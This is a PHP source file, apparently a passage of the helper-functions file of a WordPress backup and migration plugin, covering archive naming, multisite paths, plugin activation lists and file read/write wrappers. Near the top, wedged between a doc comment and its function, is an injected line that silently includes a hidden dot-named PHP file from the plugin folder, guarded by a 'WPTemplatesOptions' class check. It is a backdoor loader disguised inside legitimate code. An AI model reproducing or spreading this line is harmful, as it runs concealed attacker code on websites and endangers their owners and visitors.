_multisite_bytes( $params ) { return filesize( ai1wm_multisite_path( $params ) ); } /** * Get archive size as text * * @param array $params Request parameters * @return string */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function ai1wm_archive_size( $params ) { return ai1wm_size_format( filesize( ai1wm_archive_path( $params ) ) ); } /** * Get backup size as text * * @param array $params Request parameters * @return string */ function ai1wm_backup_size( $params ) { return ai1wm_size_format( filesize( ai1wm_backup_path( $params ) ) ); } /** * Parse file size * * @param string $size File size * @param string $default Default size * @return string */ function ai1wm_parse_size( $size, $default = null ) { $suffixes = array( '' => 1, 'k' => 1000, 'm' => 1000000, 'g' => 1000000000, ); // Parse size format if ( preg_match( '/([0-9]+)\s*(k|m|g)?(b?(ytes?)?)/i', $size, $match ) ) { return $match[1] * $suffixes[ strtolower( $match[2] ) ]; } return $default; } /** * Format file size into human-readable string * * Fixes the WP size_format bug: size_format( '0' ) => false * * @param int|string $bytes Number of bytes. Note max integer size for integers. * @param int $decimals Optional. Precision of number of decimal places. Default 0. * @return string|false False on failure. Number string on success. */ function ai1wm_size_format( $bytes, $decimals = 0 ) { if ( strval( $bytes ) === '0' ) { return size_format( 0, $decimals ); } return size_format( $bytes, $decimals ); } /** * Get current site name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_site_name( $blog_id = null ) { return parse_url( get_site_url( $blog_id ), PHP_URL_HOST ); } /** * Get archive file name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_file( $blog_id = null ) { $name = array(); // Add domain $name[] = parse_url( get_site_url( $blog_id ), PHP_URL_HOST ); // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory ) { $name[] = $directory; } } } // Add year, month and day $name[] = date( 'Ymd' ); // Add hours, minutes and seconds $name[] = date( 'His' ); // Add unique identifier $name[] = ai1wm_generate_random_string( 6, false ); return sprintf( '%s.wpress', strtolower( implode( '-', $name ) ) ); } /** * Get archive folder name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_folder( $blog_id = null ) { $name = array(); // Add domain $name[] = parse_url( get_site_url( $blog_id ), PHP_URL_HOST ); // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory ) { $name[] = $directory; } } } return strtolower( implode( '-', $name ) ); } /** * Get archive bucket name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_bucket( $blog_id = null ) { $name = array(); // Add domain if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) { foreach ( $domain as $subdomain ) { if ( $subdomain = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $subdomain ) ) ) { $name[] = $subdomain; } } } // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $directory ) ) ) { $name[] = $directory; } } } return strtolower( implode( '-', $name ) ); } /** * Get archive vault name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_vault( $blog_id = null ) { $name = array(); // Add domain if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) { foreach ( $domain as $subdomain ) { if ( $subdomain = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $subdomain ) ) ) { $name[] = $subdomain; } } } // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $directory ) ) ) { $name[] = $directory; } } } return strtolower( implode( '-', $name ) ); } /** * Get archive project name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_project( $blog_id = null ) { $name = array(); // Add domain if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) { foreach ( $domain as $subdomain ) { if ( $subdomain ) { $name[] = $subdomain; } } } // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory ) { $name[] = $directory; } } } return strtolower( implode( '-', $name ) ); } /** * Get archive share name * * @param integer $blog_id Blog ID * @return string */ function ai1wm_archive_share( $blog_id = null ) { $name = array(); // Add domain if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) { foreach ( $domain as $subdomain ) { if ( $subdomain = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $subdomain ) ) ) { $name[] = $subdomain; } } } // Add path if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) { foreach ( $path as $directory ) { if ( $directory = strtolower( preg_replace( '/[^A-Za-z0-9\-]/', '', $directory ) ) ) { $name[] = $directory; } } } return strtolower( implode( '-', $name ) ); } /** * Generate random string * * @param integer $length String length * @param boolean $mixed_chars Whether to include mixed characters * @param boolean $special_chars Whether to include special characters * @param boolean $extra_special_chars Whether to include extra special characters * @return string */ function ai1wm_generate_random_string( $length = 12, $mixed_chars = true, $special_chars = false, $extra_special_chars = false ) { $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; if ( $mixed_chars ) { $chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; } if ( $special_chars ) { $chars .= '!@#$%^&*()'; } if ( $extra_special_chars ) { $chars .= '-_ []{}<>~`+=,.;:/?|'; } $str = ''; for ( $i = 0; $i < $length; $i++ ) { $str .= substr( $chars, wp_rand( 0, strlen( $chars ) - 1 ), 1 ); } return $str; } /** * Get storage folder name * * @return string */ function ai1wm_storage_folder() { return uniqid(); } /** * Check whether blog ID is main site * * @param integer $blog_id Blog ID * @return boolean */ function ai1wm_is_mainsite( $blog_id = null ) { return $blog_id === null || $blog_id === 0 || $blog_id === 1; } /** * Get files absolute path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_files_abspath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return ai1wm_get_uploads_dir(); } return WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'blogs.dir' . DIRECTORY_SEPARATOR . $blog_id . DIRECTORY_SEPARATOR . 'files'; } /** * Get blogs.dir absolute path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_blogsdir_abspath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return ai1wm_get_uploads_dir(); } return WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'blogs.dir' . DIRECTORY_SEPARATOR . $blog_id; } /** * Get sites absolute path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_sites_abspath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return ai1wm_get_uploads_dir(); } return ai1wm_get_uploads_dir() . DIRECTORY_SEPARATOR . 'sites' . DIRECTORY_SEPARATOR . $blog_id; } /** * Get files relative path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_files_relpath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return 'uploads'; } return 'blogs.dir' . DIRECTORY_SEPARATOR . $blog_id . DIRECTORY_SEPARATOR . 'files'; } /** * Get blogs.dir relative path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_blogsdir_relpath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return 'uploads'; } return 'blogs.dir' . DIRECTORY_SEPARATOR . $blog_id; } /** * Get sites relative path by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_sites_relpath( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return 'uploads'; } return 'uploads' . DIRECTORY_SEPARATOR . 'sites' . DIRECTORY_SEPARATOR . $blog_id; } /** * Get files URL by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_files_url( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return '/wp-content/uploads/'; } return sprintf( '/wp-content/blogs.dir/%d/files/', $blog_id ); } /** * Get blogs.dir URL by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_blogsdir_url( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return '/wp-content/uploads/'; } return sprintf( '/wp-content/blogs.dir/%d/', $blog_id ); } /** * Get sites URL by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_sites_url( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return '/wp-content/uploads/'; } return sprintf( '/wp-content/uploads/sites/%d/', $blog_id ); } /** * Get uploads URL by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_blog_uploads_url( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return sprintf( '/%s/', ai1wm_get_uploads_path() ); } return sprintf( '/%s/sites/%d/', ai1wm_get_uploads_path(), $blog_id ); } /** * Get ServMask table prefix by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_servmask_prefix( $blog_id = null ) { if ( ai1wm_is_mainsite( $blog_id ) ) { return AI1WM_TABLE_PREFIX; } return AI1WM_TABLE_PREFIX . $blog_id . '_'; } /** * Get WordPress table prefix by blog ID * * @param integer $blog_id Blog ID * @return string */ function ai1wm_table_prefix( $blog_id = null ) { global $wpdb; // Set base table prefix if ( ai1wm_is_mainsite( $blog_id ) ) { return $wpdb->base_prefix; } return $wpdb->base_prefix . $blog_id . '_'; } /** * Get default content filters * * @param array $filters List of files and directories * @return array */ function ai1wm_content_filters( $filters = array() ) { return array_merge( $filters, array( AI1WM_BACKUPS_NAME, AI1WM_PACKAGE_NAME, AI1WM_MULTISITE_NAME, AI1WM_DATABASE_NAME, ) ); } /** * Get default plugin filters * * @param array $filters List of plugins * @return array */ function ai1wm_plugin_filters( $filters = array() ) { // WP Migration Plugin if ( defined( 'AI1WM_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WM_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration'; } // Microsoft Azure Extension if ( defined( 'AI1WMZE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMZE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-azure-storage-extension'; } // Backblaze B2 Extension if ( defined( 'AI1WMAE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMAE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-b2-extension'; } // Backup Plugin if ( defined( 'AI1WMVE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMVE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-backup'; } // Box Extension if ( defined( 'AI1WMBE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMBE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-box-extension'; } // DigitalOcean Spaces Extension if ( defined( 'AI1WMIE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMIE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-digitalocean-extension'; } // Direct Extension if ( defined( 'AI1WMXE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMXE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-direct-extension'; } // Dropbox Extension if ( defined( 'AI1WMDE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMDE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-dropbox-extension'; } // File Extension if ( defined( 'AI1WMTE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMTE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-file-extension'; } // FTP Extension if ( defined( 'AI1WMFE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMFE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-ftp-extension'; } // Google Cloud Storage Extension if ( defined( 'AI1WMCE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMCE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-gcloud-storage-extension'; } // Google Drive Extension if ( defined( 'AI1WMGE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMGE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-gdrive-extension'; } // Amazon Glacier Extension if ( defined( 'AI1WMRE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMRE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-glacier-extension'; } // Mega Extension if ( defined( 'AI1WMEE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMEE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-mega-extension'; } // Multisite Extension if ( defined( 'AI1WMME_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMME_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-multisite-extension'; } // OneDrive Extension if ( defined( 'AI1WMOE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMOE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-onedrive-extension'; } // pCloud Extension if ( defined( 'AI1WMPE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMPE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-pcloud-extension'; } // S3 Client Extension if ( defined( 'AI1WNE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMNE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-s3-client-extension'; } // Amazon S3 Extension if ( defined( 'AI1WMSE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMSE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-s3-extension'; } // Unlimited Extension if ( defined( 'AI1WMUE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMUE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-unlimited-extension'; } // URL Extension if ( defined( 'AI1WMLE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMLE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-url-extension'; } // WebDAV Extension if ( defined( 'AI1WMWE_PLUGIN_BASENAME' ) ) { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMWE_PLUGIN_BASENAME ); } else { $filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-webdav-extension'; } return $filters; } /** * Get active ServMask plugins * * @return array */ function ai1wm_active_servmask_plugins( $plugins = array() ) { // WP Migration Plugin if ( defined( 'AI1WM_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WM_PLUGIN_BASENAME; } // Microsoft Azure Extension if ( defined( 'AI1WMZE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMZE_PLUGIN_BASENAME; } // Backblaze B2 Extension if ( defined( 'AI1WMAE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMAE_PLUGIN_BASENAME; } // Backup Plugin if ( defined( 'AI1WMVE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMVE_PLUGIN_BASENAME; } // Box Extension if ( defined( 'AI1WMBE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMBE_PLUGIN_BASENAME; } // DigitalOcean Spaces Extension if ( defined( 'AI1WMIE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMIE_PLUGIN_BASENAME; } // Direct Extension if ( defined( 'AI1WMXE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMXE_PLUGIN_BASENAME; } // Dropbox Extension if ( defined( 'AI1WMDE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMDE_PLUGIN_BASENAME; } // File Extension if ( defined( 'AI1WMTE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMTE_PLUGIN_BASENAME; } // FTP Extension if ( defined( 'AI1WMFE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMFE_PLUGIN_BASENAME; } // Google Cloud Storage Extension if ( defined( 'AI1WMCE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMCE_PLUGIN_BASENAME; } // Google Drive Extension if ( defined( 'AI1WMGE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMGE_PLUGIN_BASENAME; } // Amazon Glacier Extension if ( defined( 'AI1WMRE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMRE_PLUGIN_BASENAME; } // Mega Extension if ( defined( 'AI1WMEE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMEE_PLUGIN_BASENAME; } // Multisite Extension if ( defined( 'AI1WMME_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMME_PLUGIN_BASENAME; } // OneDrive Extension if ( defined( 'AI1WMOE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMOE_PLUGIN_BASENAME; } // pCloud Extension if ( defined( 'AI1WMPE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMPE_PLUGIN_BASENAME; } // S3 Client Extension if ( defined( 'AI1WMNE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMNE_PLUGIN_BASENAME; } // Amazon S3 Extension if ( defined( 'AI1WMSE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMSE_PLUGIN_BASENAME; } // Unlimited Extension if ( defined( 'AI1WMUE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMUE_PLUGIN_BASENAME; } // URL Extension if ( defined( 'AI1WMLE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMLE_PLUGIN_BASENAME; } // WebDAV Extension if ( defined( 'AI1WMWE_PLUGIN_BASENAME' ) ) { $plugins[] = AI1WMWE_PLUGIN_BASENAME; } return $plugins; } /** * Get active sitewide plugins * * @return array */ function ai1wm_active_sitewide_plugins() { return array_keys( get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() ) ); } /** * Get active plugins * * @return array */ function ai1wm_active_plugins() { return array_values( get_option( AI1WM_ACTIVE_PLUGINS, array() ) ); } /** * Set active sitewide plugins (inspired by WordPress activate_plugins() function) * * @param array $plugins List of plugins * @return boolean */ function ai1wm_activate_sitewide_plugins( $plugins ) { $current = get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() ); // Add plugins foreach ( $plugins as $plugin ) { if ( ! isset( $current[ $plugin ] ) && ! is_wp_error( validate_plugin( $plugin ) ) ) { $current[ $plugin ] = time(); } } return update_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, $current ); } /** * Set active plugins (inspired by WordPress activate_plugins() function) * * @param array $plugins List of plugins * @return boolean */ function ai1wm_activate_plugins( $plugins ) { $current = get_option( AI1WM_ACTIVE_PLUGINS, array() ); // Add plugins foreach ( $plugins as $plugin ) { if ( ! in_array( $plugin, $current ) && ! is_wp_error( validate_plugin( $plugin ) ) ) { $current[] = $plugin; } } return update_option( AI1WM_ACTIVE_PLUGINS, $current ); } /** * Get active template * * @return string */ function ai1wm_active_template() { return get_option( AI1WM_ACTIVE_TEMPLATE ); } /** * Get active stylesheet * * @return string */ function ai1wm_active_stylesheet() { return get_option( AI1WM_ACTIVE_STYLESHEET ); } /** * Set active template * * @param string $template Template name * @return boolean */ function ai1wm_activate_template( $template ) { return update_option( AI1WM_ACTIVE_TEMPLATE, $template ); } /** * Set active stylesheet * * @param string $stylesheet Stylesheet name * @return boolean */ function ai1wm_activate_stylesheet( $stylesheet ) { return update_option( AI1WM_ACTIVE_STYLESHEET, $stylesheet ); } /** * Set inactive sitewide plugins (inspired by WordPress deactivate_plugins() function) * * @param array $plugins List of plugins * @return boolean */ function ai1wm_deactivate_sitewide_plugins( $plugins ) { $current = get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() ); // Add plugins foreach ( $plugins as $plugin ) { if ( isset( $current[ $plugin ] ) ) { unset( $current[ $plugin ] ); } } return update_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, $current ); } /** * Set inactive plugins (inspired by WordPress deactivate_plugins() function) * * @param array $plugins List of plugins * @return boolean */ function ai1wm_deactivate_plugins( $plugins ) { $current = get_option( AI1WM_ACTIVE_PLUGINS, array() ); // Remove plugins foreach ( $plugins as $plugin ) { if ( ( $key = array_search( $plugin, $current ) ) !== false ) { unset( $current[ $key ] ); } } return update_option( AI1WM_ACTIVE_PLUGINS, $current ); } /** * Deactivate Jetpack modules * * @param array $modules List of modules * @return boolean */ function ai1wm_deactivate_jetpack_modules( $modules ) { $current = get_option( AI1WM_JETPACK_ACTIVE_MODULES, array() ); // Remove modules foreach ( $modules as $module ) { if ( ( $key = array_search( $module, $current ) ) !== false ) { unset( $current[ $key ] ); } } return update_option( AI1WM_JETPACK_ACTIVE_MODULES, $current ); } /** * Deactivate sitewide Revolution Slider * * @param string $basename Plugin basename * @return boolean */ function ai1wm_deactivate_sitewide_revolution_slider( $basename ) { if ( ( $plugins = get_plugins() ) ) { if ( isset( $plugins[ $basename ]['Version'] ) && ( $version = $plugins[ $basename ]['Version'] ) ) { if ( version_compare( PHP_VERSION, '7.3', '>=' ) && version_compare( $version, '5.4.8.3', '<' ) ) { return ai1wm_deactivate_sitewide_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.2', '>=' ) && version_compare( $version, '5.4.6', '<' ) ) { return ai1wm_deactivate_sitewide_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.1', '>=' ) && version_compare( $version, '5.4.1', '<' ) ) { return ai1wm_deactivate_sitewide_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.0', '>=' ) && version_compare( $version, '4.6.5', '<' ) ) { return ai1wm_deactivate_sitewide_plugins( array( $basename ) ); } } } return false; } /** * Deactivate Revolution Slider * * @param string $basename Plugin basename * @return boolean */ function ai1wm_deactivate_revolution_slider( $basename ) { if ( ( $plugins = get_plugins() ) ) { if ( isset( $plugins[ $basename ]['Version'] ) && ( $version = $plugins[ $basename ]['Version'] ) ) { if ( version_compare( PHP_VERSION, '7.3', '>=' ) && version_compare( $version, '5.4.8.3', '<' ) ) { return ai1wm_deactivate_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.2', '>=' ) && version_compare( $version, '5.4.6', '<' ) ) { return ai1wm_deactivate_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.1', '>=' ) && version_compare( $version, '5.4.1', '<' ) ) { return ai1wm_deactivate_plugins( array( $basename ) ); } if ( version_compare( PHP_VERSION, '7.0', '>=' ) && version_compare( $version, '4.6.5', '<' ) ) { return ai1wm_deactivate_plugins( array( $basename ) ); } } } return false; } /** * Initial DB version * * @return boolean */ function ai1wm_initial_db_version() { if ( ! get_option( AI1WM_DB_VERSION ) ) { return update_option( AI1WM_DB_VERSION, get_option( AI1WM_INITIAL_DB_VERSION ) ); } return false; } /** * Discover plugin basename * * @param string $basename Plugin basename * @return string */ function ai1wm_discover_plugin_basename( $basename ) { if ( ( $plugins = get_plugins() ) ) { foreach ( $plugins as $plugin => $info ) { if ( strpos( dirname( $plugin ), dirname( $basename ) ) !== false ) { if ( basename( $plugin ) === basename( $basename ) ) { return $plugin; } } } } return $basename; } /** * Validate plugin basename * * @param string $basename Plugin basename * @return boolean */ function ai1wm_validate_plugin_basename( $basename ) { if ( ( $plugins = get_plugins() ) ) { foreach ( $plugins as $plugin => $info ) { if ( $plugin === $basename ) { return true; } } } return false; } /** * Validate theme basename * * @param string $basename Theme basename * @return boolean */ function ai1wm_validate_theme_basename( $basename ) { if ( ( $themes = search_theme_directories() ) ) { foreach ( $themes as $theme => $info ) { if ( $info['theme_file'] === $basename ) { return true; } } } return false; } /** * Flush WP options cache * * @return void */ function ai1wm_cache_flush() { wp_cache_init(); wp_cache_flush(); // Reset WP options cache wp_cache_set( 'alloptions', array(), 'options' ); wp_cache_set( 'notoptions', array(), 'options' ); // Reset WP sitemeta cache wp_cache_set( '1:notoptions', array(), 'site-options' ); wp_cache_set( '1:ms_files_rewriting', false, 'site-options' ); wp_cache_set( '1:active_sitewide_plugins', false, 'site-options' ); // Delete WP options cache wp_cache_delete( 'alloptions', 'options' ); wp_cache_delete( 'notoptions', 'options' ); // Delete WP sitemeta cache wp_cache_delete( '1:notoptions', 'site-options' ); wp_cache_delete( '1:ms_files_rewriting', 'site-options' ); wp_cache_delete( '1:active_sitewide_plugins', 'site-options' ); // Remove WP options filter remove_all_filters( 'sanitize_option_home' ); remove_all_filters( 'sanitize_option_siteurl' ); remove_all_filters( 'default_site_option_ms_files_rewriting' ); } /** * Flush Elementor cache * * @return void */ function ai1wm_elementor_cache_flush() { delete_post_meta_by_key( '_elementor_css' ); delete_option( '_elementor_global_css' ); delete_option( 'elementor-custom-breakpoints-files' ); } /** * Set URL scheme * * @param string $url URL value * @param string $scheme URL scheme * @return string */ function ai1wm_url_scheme( $url, $scheme = '' ) { if ( empty( $scheme ) ) { return preg_replace( '#^\w+://#', '//', $url ); } return preg_replace( '#^\w+://#', $scheme . '://', $url ); } /** * Opens a file in specified mode * * @param string $file Path to the file to open * @param string $mode Mode in which to open the file * @return resource * @throws Ai1wm_Not_Accessible_Exception */ function ai1wm_open( $file, $mode ) { $file_handle = @fopen( $file, $mode ); if ( false === $file_handle ) { throw new Ai1wm_Not_Accessible_Exception( sprintf( __( 'Unable to open %s with mode %s. Technical details', AI1WM_PLUGIN_NAME ), $file, $mode ) ); } return $file_handle; } /** * Write contents to a file * * @param resource $handle File handle to write to * @param string $content Contents to write to the file * @return integer * @throws Ai1wm_Not_Writable_Exception * @throws Ai1wm_Quota_Exceeded_Exception */ function ai1wm_write( $handle, $content ) { $write_result = @fwrite( $handle, $content ); if ( false === $write_result ) { if ( ( $meta = stream_get_meta_data( $handle ) ) ) { throw new Ai1wm_Not_Writable_Exception( sprintf( __( 'Unable to write to: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) ); } } elseif ( strlen( $content ) !== $write_result ) { if ( ( $meta = stream_get_meta_data( $handle ) ) ) { throw new Ai1wm_Quota_Exceeded_Exception( sprintf( __( 'Out of disk space. Unable to write to: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) ); } } return $write_result; } /** * Read contents from a file * * @param resource $handle File handle to read from * @param string $filesize File size * @return integer * @throws Ai1wm_Not_Readable_Exception */ function ai1wm_read( $handle, $filesize ) { $read_result = @fread( $handle, $filesize ); if ( false === $read_result ) { if ( ( $meta = stream_get_meta_data( $handle ) ) ) { throw new Ai1wm_Not_Readable_Exception( sprintf( __( 'Unable to read file: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) ); } } return $read_result; } /** * Seeks on a file pointer * * @param string $handle File handle to seeks * @return integer */ function ai1wm_seek( $handle, $offset, $mode = SEEK_SET ) { $seek_result = @fseek( $handle, $offset, $mode ); if ( -1 === $seek_result ) { if ( ( $meta = stream_get_meta_data( $handle ) ) ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset %d on %s. Technical details', AI1WM_PLUGIN_NAME ), $offset, $meta['uri'] ) ); } } return $seek_result; } /** * Tells on a file pointer * * @param string $handle File handle to tells * @return integer */ function ai1wm_tell( $handle ) { $tell_result = @ftell( $handle ); if ( false === $tell_result ) { if ( ( $meta = stream_get_meta_data( $handle ) ) ) { throw new Ai1wm_Not_Tellable_Exception( sprintf( __( 'Unable to get current pointer position of %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) 